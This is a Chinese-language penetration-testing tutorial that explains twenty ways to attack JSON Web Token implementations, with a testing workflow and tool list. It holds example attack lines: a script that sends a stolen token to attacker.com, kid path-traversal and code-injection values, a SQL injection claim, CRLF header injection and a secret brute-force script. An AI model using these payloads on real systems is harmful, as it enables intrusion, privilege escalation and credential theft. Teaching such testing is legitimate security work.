你是否知道,一个配置错误的JWT曾导致百万美元的漏洞赏金?事实上,许多渗透测试报告和安全事件的根源,都隐藏在那几行看似无害的JSON代码中。JWT(JSON Web Tokens)广泛应用于单点登录、REST API和云微服务,但许多开发者并未意识到,不当的使用会为系统敞开多少扇危险的大门。
JWT核心结构解析
在深入探讨攻击手段之前,有必要先厘清JWT的本质。JSON Web Token是一个紧凑且URL安全的字符串,用于在双方之间安全地传输声明信息。其经典结构如下:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5
- 头部(Header):指定算法和令牌类型。
- 有效载荷(Payload):包含具体的声明,如用户身份、角色、权限等。
- 签名(Signature):用于验证令牌的完整性和真实性。
JWT因其简单、无状态和易于传输的特性而备受青睐,非常适合RESTful API。然而,这种简单性也是一把双刃剑,潜藏着诸多安全风险。理解JWT漏洞与渗透测试手法是构建健壮身份验证系统的第一步。
1. 解码JWT:信息收集的第一步
面对一个JWT,首先要做的就是解码它,这通常不需要密钥。
操作步骤:
- 将JWT按点号(
.)分割为:头部、负载、签名三部分。
- 分别对头部和负载进行Base64Url解码。(在Bash中:
echo "base64string" | base64 -d)
- 仔细阅读声明,重点关注
alg、aud、iss、exp、iat、sub、role等字段。
示例:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYWRtaW4ifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5
解码后的负载:
{ “user_id”: 1, “role”: “admin” }
通过解码,可以了解系统架构、发现潜在的权限提升路径,有时甚至能找到硬编码的秘密。
2. 算法置空攻击:禁用签名验证
如果在JWT头部发现”alg”: “none”,那将是一个重大发现。一些旧版本的JWT库在算法设为none时,不会执行签名验证,这意味着攻击者可以伪造任意令牌。
利用步骤:
- 解码原始JWT。
- 将头部修改为:
{ “alg”: “none”, “typ”: “JWT” }。
- 修改负载内容(如提升用户角色)。
- 将新的头部和负载重新进行Base64编码。
- 移除签名部分,组合成新令牌:
base64(header).base64(payload)。
- 在请求中使用这个新令牌。
整个过程无需密钥,如果服务器接受此类令牌,攻击者便获得了完全控制权。
3. 算法混淆攻击:从RS256切换到HS256
这是一种常见且危险的漏洞。某些应用后端配置了非对称签名算法(RS256),但同时也错误地接受对称签名算法(HS256)。
攻击原理:
- RS256:使用私钥签名,公钥验证。
- HS256:签名和验证使用同一把密钥。
如果后端错误地将公钥作为HS256算法的密钥来验证签名,攻击者就可以使用该公钥自行签署恶意令牌。
攻击步骤:
- 解码JWT,确认其使用
”alg”: “RS256”。
- 将头部算法修改为
”alg”: “HS256”。
- 获取应用公钥(通常位于
/.well-known/jwks.json或类似端点)。
- 使用该公钥作为密钥,对修改后的JWT进行签名。
- 发送伪造的令牌。
4. JWKS密钥注入攻击
在使用OpenID Connect等标准时,服务器会从JWKS URL获取公钥。如果服务器未严格验证密钥来源或kid(密钥ID)参数,攻击者可以诱导服务器使用自己控制的密钥。
攻击步骤:
- 识别JWT头部中使用的
kid值。
- 自行搭建一个恶意的JWKS端点,托管自己的公钥。
- 在伪造的JWT头部中,将
kid设置为恶意端点中的密钥ID。
- 通过某种方式(如中间人攻击或服务器配置漏洞)使后端从你的恶意端点获取JWKS。
- 使用对应的私钥对JWT进行签名。
5. 弱密钥暴力破解
许多开发者在测试或生产环境中使用如“secret”、“password”等弱密钥。这些密钥可以通过字典进行暴力破解。
Python脚本示例:
import jwt
token = ‘JWT_HERE’
wordlist = [‘secret‘, ‘password’, ‘admin’, ‘123456’]
for word in wordlist:
try:
payload = jwt.decode(token, word, algorithms=[‘HS256’])
print(f’Found key: {word}’)
print(payload)
break
except:
continue
工具如jwt-cracker或hashcat可以自动化大规模破解。
6. 头部参数注入攻击
某些JWT库对头部参数(如kid)的处理不安全,可能引发路径遍历或命令注入。
攻击示例:
- 将
kid设置为一个文件路径,如../../../etc/passwd。
- 如果后端尝试将此路径内容读取为密钥,可能触发错误或导致信息泄露。
更极端的情况下,如果后端使用不安全的字符串拼接或eval处理kid值,甚至可能引发远程代码执行(RCE)。
示例负载:
{ “alg”: “HS256”, “kid”: “whatever’);process.exit();//” }
7. 针对签名验证的时序攻击
如果后端采用逐字节比较签名,攻击者可以通过测量服务器响应时间的细微差异,来推测HMAC密钥。
工作原理:
- 逐步修改签名中的每个字节。
- 精确测量每次请求的服务器响应时间。
- 响应时间更长可能意味着匹配的字节数更多。
- 重复此过程,逐步推导出完整签名。
8. JWT重放攻击
如果JWT没有设置过期时间(exp),或令牌撤销机制(如黑名单)失效,攻击者可以重复使用窃取到的旧令牌来获取访问权限。
攻击方式:
- 通过XSS、日志泄露等途径窃取有效的JWT。
- 即使用户已登出,仍使用该令牌进行身份验证。
- 利用持久化的会话访问系统资源。
9. 篡改声明以提升权限
这是最常见且直接的一种攻击。例如,将负载中的”role”: “user”直接修改为”role”: “admin”。
示例:
原始负载:
{ “user_id”: 2, “role”: “user”}
修改为:
{ “user_id”: 2, “role”: “admin”}
如果后端密钥强度弱或存在其他验证漏洞(如算法置空),重新签名后即可访问管理接口。
10. 通过JWT声明进行SQL注入
当后端直接将JWT负载中的声明值拼接到SQL查询语句中,且未做充分过滤时,就可能引发SQL注入。
攻击示例:
修改user_id声明:
{ “user_id”: “1; UNION SELECT username, password FROM users --” }
11. 客户端JWT存储导致的XSS攻击
如果JWT被存储在localStorage或sessionStorage中,而应用又存在跨站脚本(XSS)漏洞,攻击者可以通过注入的JavaScript代码窃取令牌。
攻击场景:
// 恶意JavaScript载荷
fetch(‘https://attacker.com/steal?token=’ + localStorage.getItem(‘jwt_token’))
12. 滥用非标准或调试声明
一些应用会使用自定义声明进行功能控制或调试,如”can_delete”: true或”is_superuser”: true。尝试修改这些值为true,可能意外解锁未公开的高权限功能。在真实的网络安全渗透测试中,这类“遗忘的开关”并不少见。
13. 签名剥离攻击
某些代理或API网关可能会在转发请求前移除JWT的签名部分。如果后端在验证时未发现签名缺失而仍然接受令牌,则攻击者可以提交未签名的令牌。
14. HTTP头中的JWT与CORS滥用
如果JWT通过自定义HTTP头(如X-Auth-Token)传输,且服务器CORS策略配置不当(如Access-Control-Allow-Origin: *),攻击者可能通过恶意网站发起跨域请求,窃取或滥用令牌。
15. JWKS kid参数路径遍历
如果后端根据kid头参数从文件系统加载密钥文件,且未对输入进行安全校验,可能造成目录遍历漏洞。
示例:
设置 kid 为 ../../../../etc/passwd。
16. 绕过JWT黑名单
如果应用的令牌撤销机制仅基于jti(JWT ID)声明进行黑名单检查,攻击者通过修改其他声明(如添加空格、调整顺序、增加新声明)并重新签名,可能生成一个具有相同功能但jti不同的新令牌,从而绕过黑名单。
17. JWT头部CRLF注入攻击
如果后端日志系统或下游组件在记录JWT头部时未进行净化处理,攻击者可能在kid等字段中注入CRLF(\r\n)字符,从而污染日志、分割HTTP响应或进行其他注入攻击。
示例头部:
{ “alg”: “HS256”, “kid”: “mykey\r\nX-Injected-Header: malicious” }
18. 利用缺失的exp声明
没有设置过期时间(exp)的JWT意味着它永久有效(或直到密钥轮换)。攻击者一旦窃取此类令牌,便可长期维持访问权限。
19. 针对浏览器扩展的JWT攻击
某些浏览器扩展会以不安全的方式(如纯文本、同步存储)保存JWT。通过分析扩展源码、利用内容安全策略(CSP)漏洞或DOM注入,可能窃取这些令牌。
20. JWT模糊测试:探索隐藏逻辑
通过系统性地篡改JWT进行模糊测试,常能发现意外的功能或漏洞。
- 添加随机声明:如
debug、is_root、access_level。
- 更改值类型:将数字改为字符串、布尔值改为数字等。
- 调整声明顺序或编码格式。
实战渗透测试工作流
- 发现与解码:在Cookie、Authorization头、URL参数、本地存储中寻找JWT,并使用工具解码。
- 分析与侦察:仔细检查所有声明和头部字段,评估潜在风险点(算法、角色、密钥指示器)。
- 尝试伪造:根据分析结果,尝试修改声明、切换算法、暴力破解密钥或进行密钥注入。
- 测试实现缺陷:测试签名剥离、重放攻击、时序攻击等,并对JWT结构进行模糊测试。
- 观察与验证:密切监控应用的错误响应、权限变化、时间延迟等侧信道信息。
常用工具推荐
在实际的安全渗透测试中,以下工具能极大提升效率:
- jwt.io:在线快速解码/编码工具。
- Burp Suite + JWT Editor插件:拦截、修改、重放请求中的JWT。
- jwt_tool:功能强大的命令行自动化测试工具。
- Postman:用于构造和发送包含自定义JWT的请求。
- Python + PyJWT库:编写自定义的签名、破解和模糊测试脚本。
核心要点:JWT本身并非不安全,风险源于不当的实现和配置——弱密钥、缺失的exp、错误的算法处理等。构建安全系统的关键之一,在于像攻击者一样审视自己的代码。